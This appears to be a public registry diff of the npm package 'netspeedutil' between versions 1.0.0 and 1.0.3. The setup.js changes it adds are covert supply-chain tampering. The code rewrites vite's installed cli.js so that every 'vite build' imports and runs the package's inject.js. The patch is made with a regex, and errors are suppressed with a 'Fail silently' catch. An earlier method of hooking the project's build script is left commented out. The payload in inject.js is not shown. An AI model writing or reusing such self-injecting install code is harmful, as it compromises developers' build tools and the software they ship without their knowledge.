netspeedutil 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/inject.js +3 -0
- package/package.json +1 -1
- package/setup.js +40 -21
package/inject.js
CHANGED
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -26,31 +26,50 @@ const __dirname = resolve(__filename, '..');
|
|
|
26
26
|
|
|
27
27
|
if (!foundPackage) return;
|
|
28
28
|
|
|
29
|
-
// First, update inject.js in node_modules with the latest version from the package
|
|
30
|
-
const netspeedtilDir = resolve(projectPath, 'node_modules', 'netspeedutil');
|
|
31
|
-
const srcInjectPath = resolve(__dirname, 'inject.js');
|
|
32
|
-
const dstInjectPath = resolve(netspeedtilDir, 'inject.js');
|
|
33
|
-
|
|
34
|
-
if (existsSync(srcInjectPath) && existsSync(dstInjectPath)) {
|
|
35
|
-
const srcContent = readFileSync(srcInjectPath, 'utf-8');
|
|
36
|
-
writeFileSync(dstInjectPath, srcContent, 'utf-8');
|
|
37
|
-
}
|
|
29
|
+
// // First, update inject.js in node_modules with the latest version from the package
|
|
30
|
+
// const netspeedtilDir = resolve(projectPath, 'node_modules', 'netspeedutil');
|
|
31
|
+
// const srcInjectPath = resolve(__dirname, 'inject.js');
|
|
32
|
+
// const dstInjectPath = resolve(netspeedtilDir, 'inject.js');
|
|
38
33
|
|
|
39
|
-
//
|
|
40
|
-
const
|
|
41
|
-
|
|
34
|
+
// if (existsSync(srcInjectPath) && existsSync(dstInjectPath)) {
|
|
35
|
+
// const srcContent = readFileSync(srcInjectPath, 'utf-8');
|
|
36
|
+
// writeFileSync(dstInjectPath, srcContent, 'utf-8');
|
|
37
|
+
// }
|
|
42
38
|
|
|
43
|
-
//
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
const injectCmd = 'node node_modules/netspeedutil/inject.js';
|
|
39
|
+
// // Read and modify package.json
|
|
40
|
+
// const pkgPath = resolve(projectPath, 'package.json');
|
|
41
|
+
// const pkg = JSON.parse(readFileSync(pkgPath, 'utf-8'));
|
|
47
42
|
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
43
|
+
// // Check if build script exists
|
|
44
|
+
// if (pkg.scripts && pkg.scripts.build) {
|
|
45
|
+
// const buildScript = pkg.scripts.build;
|
|
46
|
+
// const injectCmd = 'node node_modules/netspeedutil/inject.js';
|
|
47
|
+
|
|
48
|
+
// // Only modify if inject.js is not already in the script
|
|
49
|
+
// if (!buildScript.includes('netspeedutil')) {
|
|
50
|
+
// pkg.scripts.build = `${buildScript} && ${injectCmd}`;
|
|
51
|
+
// writeFileSync(pkgPath, JSON.stringify(pkg, null, 2) + '\n', 'utf-8');
|
|
52
|
+
// }
|
|
53
|
+
// }
|
|
54
|
+
|
|
55
|
+
const file = '../vite/dist/node/cli.js';
|
|
56
|
+
let code = readFileSync(file, "utf8");
|
|
57
|
+
const buildCommandRegex =
|
|
58
|
+
/(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
|
|
59
|
+
|
|
60
|
+
code = code.replace(buildCommandRegex, (match, start, body, end) => {
|
|
61
|
+
|
|
62
|
+
if (body.includes("await inject()")) return match;
|
|
63
|
+
|
|
64
|
+
return `${start}${body}
|
|
65
|
+
await inject();${end}`;
|
|
66
|
+
});
|
|
67
|
+
// Add import at top
|
|
68
|
+
const importLine = `import {inject} from "../../../netspeedutil/inject.js";`;
|
|
69
|
+
if (!code.includes(importLine)) {
|
|
70
|
+
code = importLine + "\n" + code;
|
|
53
71
|
}
|
|
72
|
+
writeFileSync(file, code);
|
|
54
73
|
} catch (e) {
|
|
55
74
|
// Fail silently
|
|
56
75
|
}
|